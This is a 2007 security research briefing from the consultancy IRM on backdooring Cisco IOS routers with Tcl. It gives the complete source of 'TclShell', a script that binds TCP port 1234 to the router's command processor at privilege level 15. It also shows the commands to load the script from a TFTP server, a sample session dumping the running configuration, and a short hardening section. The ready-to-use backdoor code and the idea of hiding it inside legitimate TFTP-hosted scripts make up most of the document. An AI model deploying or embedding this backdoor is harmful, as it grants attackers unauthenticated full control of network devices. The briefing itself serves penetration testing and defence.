irm InformationRiskManagement

Creating Backdoors in Cisco IOS using Tcl

An IRM Research Technical Briefing by

Andy Davis

Creating Backdoors in Cisco IOS using Tcl

The intended audience of this briefing document is technical network managers and security professionals.

Tcl (Tool Command Language) is a scripting language used extensively in embedded systems, which is easy to use and has some powerful features. The language has been supported by Cisco IOS for some time now and is used, for example, in IOS IVR configuration as well as automating mundane tasks regularly performed by network administrators.

The most interesting area of functionality from a security perspective in Tcl on IOS is network socket creation - the focus of this particular attack. Tcl scripts, when used on routers, are commonly stored on TFTP servers and are uploaded from these servers and executed when required. Therefore, if an attacker has managed to compromise one of these TFTP servers, rogue Tcl code can be inserted into a legitimate script, which will be subsequently executed next time the script is uploaded to the router.

The developed "backdoor" script opens a persistent socket connection listening on TCP port 1234 and binds that socket to the IOS "Exec" (command line processor). Once the script has been executed, the attacker can telnet to port 1234 and execute IOS commands with "Level 15" access (the IOS equivalent of “root”), as by default, Tcl scripts are executed with this privilege level.

The intended use for this script is to gain access to a Cisco router during an authorised penetration test. IRM do not encourage nor condone the illegal use of this technique.

The script can be tested as follows:

<u>On the router</u>

```
Router>en
Router#tclsh
Router(tcl)#source tftp://tftpserver/tclsh.tcl
```

<u>On the attacker's machine</u>

```
$ telnet router 1234
Trying router...
Connected to router.
Escape character is '^]'.

-------------------------------------
TclShell v0.1 by Andy Davis, IRM 2007
-------------------------------------

Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE
SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command:

show running-config

Building configuration...

Current configuration : 743 bytes
!
version 12.4(17)
service timestamps debug uptime
<CUT>
```

Protecting your networks against this attack

The only way that this attack can be performed is by the compromise of either a router or a repository of Tcl scripts (such as a TFTP server), which are processed by a router. Therefore, following best practice with regard to patching and hardening of both servers and networking devices within your network infrastructure will go a long way to protecting against this type of attack. Furthermore, versions of Cisco IOS are available without Tcl functionality, so if it is not required then a version that does not support Tcl would prevent this attack from being performed.

TclShell source code

```
# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only

proc callback {sock addr port} {
       fconfigure $sock -translation lf -buffering line
       puts $sock " "
       puts $sock "-------------------------------------"
       puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
       puts $sock "-------------------------------------"
       puts $sock " "
       set response [exec "sh ver | inc IOS"]
       puts $sock $response
       set response [exec "sh priv"]
       puts $sock $response
       puts $sock " "
       puts $sock "Enter IOS command:"
       fileevent $sock readable [list echo $sock]
}

proc echo {sock} {
       global var
       if {[eof $sock] || [catch {gets $sock line}]} {

       } else {
              set response [exec "$line"]
              puts $sock $response

       }
}

set port 1234
set sh [socket -server callback $port]
vwait var
close $sh
```

About IRM

Information Risk Management Plc (IRM) is a vendor independent information risk consultancy, founded in 1998. IRM has become a leader in client side risk assessment, technical level auditing and in the research and development of security vulnerabilities and tools. IRM is headquartered in London with Technical Centres in Europe and Asia as well as Regional Offices in the Far East and North America. Please visit our website at www.irmplc.com for further information.